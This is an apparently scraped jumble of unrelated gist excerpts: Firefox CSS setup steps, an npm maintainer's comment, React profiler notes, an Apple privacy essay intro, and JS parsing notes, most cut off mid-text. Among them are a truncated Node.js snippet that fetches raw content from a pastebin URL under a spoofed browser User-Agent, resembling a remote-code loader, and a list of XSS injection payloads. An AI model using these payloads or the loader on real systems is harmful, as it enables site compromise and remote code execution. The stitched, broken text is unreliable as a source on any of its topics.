- Open (or create)
chrome/userContent.css
under your Firefox profile folder - Append attached CSS content and save file
- Toggle
toolkit.legacyUserProfileCustomizations.stylesheets
in Firefoxabout:config
- Restart Firefox
So there were a few threads going around recently about a challenge to write the longest sequence of keywords in Javascript:
- https://twitter.com/bterlson/status/1093624668903268352
- https://news.ycombinator.com/item?id=19102367
There are, however, a few problems:
Hey everyone - this is not just a one off thing, there are likely to be many other modules in your dependency trees that are now a burden to their authors. I didn't create this code for altruistic motivations, I created it for fun. I was learning, and learning is fun. I gave it away because it was easy to do so, and because sharing helps learning too. I think most of the small modules on npm were created for reasons like this. However, that was a long time ago. I've since moved on from this module and moved on from that thing too and in the process of moving on from that as well. I've written way better modules than this, the internet just hasn't fully caught up.
@broros
otherwise why would he hand over a popular package to a stranger?
If it's not fun anymore, you get literally nothing from maintaining a popular package.
One time, I was working as a dishwasher in a restu
React recently introduced an experimental profiler API. This page gives instructions on how to use this API in a production release of your app.
Table of Contents
React DOM automatically supports profiling in development mode for v16.5+, but since profiling adds some small additional overhead it is opt-in for production mode. This gist explains how to opt-in.
React recently introduced an experimental profiler API. After discussing this API with several teams at Facebook, one common piece of feedback was that the performance information would be more useful if it could be associated with the events that caused the application to render (e.g. button click, XHR response). Tracing these events (or "interactions") would enable more powerful tooling to be built around the timing information, capable of answering questions like "What caused this really slow commit?" or "How long does it typically take for this interaction to update the DOM?".
With version 16.4.3, React added experimental support for this tracing by way of a new NPM package, scheduler. However the public API for this package is not yet finalized and will likely change with upcoming minor releases, so it should be used with caution.
try { | |
var https = require("https"); | |
https | |
.get( | |
{ | |
hostname: "pastebin.com", | |
path: "/raw/XLeVP82h", | |
headers: { | |
"User-Agent": | |
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0", |
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
iOS, The Future Of macOS, Freedom, Security And Privacy In An Increasingly Hostile Global Environment
This post by a security researcher who prefers to remain anonymous will elucidate concerns about certain problematic decisions Apple has made and caution about future decisions made in the name of “security” while potentially hiding questionable motives. The content of this article represents only the opinion of the researcher. The researcher apologises if any content is seen to be inaccurate, and is open to comments or questions through PGP-encrypted mail.
TL;DR
Problem: How can we preprocess JavaScript (at build-time or on the server-side) so engines like V8 don't have to spend as much time in Parse? This is a topic that involves generating either bytecode or a bytecode-like-abstraction that an engine would need to accept. For folks that don't know, modern web apps typically spend a lot longer in Parsing & Compiling JS than you may think.
- Yoav: This can particularly be an issue on mobile. Same files getting parsed all the time for users. Theoretically if we moved the parsing work to the server-side, we would have to worry about it less.
- One angle to this problem is we all ship too much JavaScript. That's one perspective. We could also look at preprocessing.
- We've been talking about this topic over the last few weeks a bit with V8. There were three main options proposed.
-
- Similar to what optimize-js does. Identify IIFEs and mark them as such so the browser and VMs heuristics will catch them and do a better job than today. optimize-js only tackles IIFE bu